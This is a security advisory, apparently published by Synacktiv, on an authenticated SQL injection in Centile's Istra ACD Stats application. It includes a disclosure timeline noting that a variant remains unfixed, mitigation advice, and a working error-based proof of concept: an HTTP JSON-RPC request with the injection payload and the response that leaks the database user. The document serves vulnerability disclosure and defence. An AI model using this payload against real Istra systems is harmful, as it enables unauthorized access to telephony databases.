SYNACKTIV
DIGITAL SECURITY

SQL injection in Istra – ACD Stats

Security advisory

2020-11-10

Thibault Guittet
Julien Clergue

Vulnerability description

Presentation of Istra

In response to a strong telephony market trend moving towards software, open and standardized SIP based cloud services, Centile has developed "ISTRA", a Cloud PBX & UCC platform that provides fixed-line, mobile operators and integrators the tools they need to quickly develop, deploy, and monetize innovative, compelling new communication services over existing network, and from any device.

Centile ISTRA multi-tenant and features rich solution, enables enterprises to take advantage of Cloud UC and FMC services including:

- *PBX features on both fixed and mobile*
- *Unified messaging*
- *Voicemail to email*
- *Boss/secretary filtering*
- *Call barring*
- *Groups management*
- *Audio and video conferencing with screen and file sharing*
- *Instant messaging*
- *IVRs*
- *ACDs*
- *Presence*

– https://centile.com/products/solutions/cloud-pbx-uc/ (Centile Telecom Applications SAS)

The *ACD Stats* application is part of *Istra*.

The issue

Synacktiv discovered that a method called by the *ACD Stats* application does not sanitize user input on specific parameters that can be used to alter legitimate SQL queries and inject arbitrary SQL content. An authenticated user on the *ACD Stats*, without administrator permissions, is required to call the vulnerable method.

Affected versions

The vulnerability was identified on *ACD Stats* version 10.1.17. Other versions of the application might be affected.

Timeline

Date	Action
2020-06-08	Advisory sent to Centile Telecom Applications SAS
2020-09-20	Test for the fix on versions: 10.1.19, 10.2.33 and 10.3.5. A variant of the vulnerability is still present and exploitable.
2020-10-12	Centile informs Synacktiv no further corrections were made to the previously tested versions. Complementary patch development is not underway.

Mitigation

Best practices recommend using parameterized queries and variable binding. The filter feature could be implemented using SQL prepared statements or stored procedures.

Technical description and Proof-of-Concept

Authenticated users on the *ACD Stats* application can filter on records by providing a search term per column. This feature is implemented by the *getACDLogsDaily* JSON-RPC method of the */acdLogsSupplier.action* endpoint. The user-supplied value for filtering is not escaped before being placed in the SQL query.

This SQL injection can be exploited in *Blind*, *Error-based* and *Time-based* methods. The following proof of concept uses *Error-based* since it allows retrieving more data quickly than the other two methods.

In the request below, **15** is the filter identifier to filter on. Other filter identifiers have different injection patterns, some of which could not be exploited during the black-box security assessment this injection was discovered in.

```
POST /acdLogsSupplier.action HTTP/1.1
Content-Length: 290
Host: [...]
User-Agent: [...]
Accept: */*
Content-Type: application/json-rpc
X-Requested-With: XMLHttpRequest
Cookie: [...]
Connection: close

{
  "params": [
    0,
    147,
    [
      "15"
    ],
    [
      "' AND EXTRACTVALUE(1,CONCAT('',CURRENT_USER()))-- -"
    ],
    [
      "2020",
      "5",
      "2"
    ],
    0,
    "ASC",
    "",
    "",
    true
  ],
  "method": "getACDLogsDaily",
  "id": 2
}
```

The response returns an error message containing the MySQL user performing the queries:

```
{
  "debug": null,
  "error": null,
  "id": "2",
  "result": {
    "code": "ServerERROR",
    "concernedItem": null,
    "errorDetails": "SQLException: XPATH syntax error: ''ipbx@%'",
    "info": "retrieved at 04:01 server time"
  }
}
```

In the audited deployment, the *ipbx* MySQL user has administrator privileges on the database service.

Since SQL error messages are returned to the user, iterating on filter identifiers reveals how the value to filter on is inserted into the SQL query when the syntax is broken. In our tests, \\' (double backslash and a quote) allowed to break the query's syntax.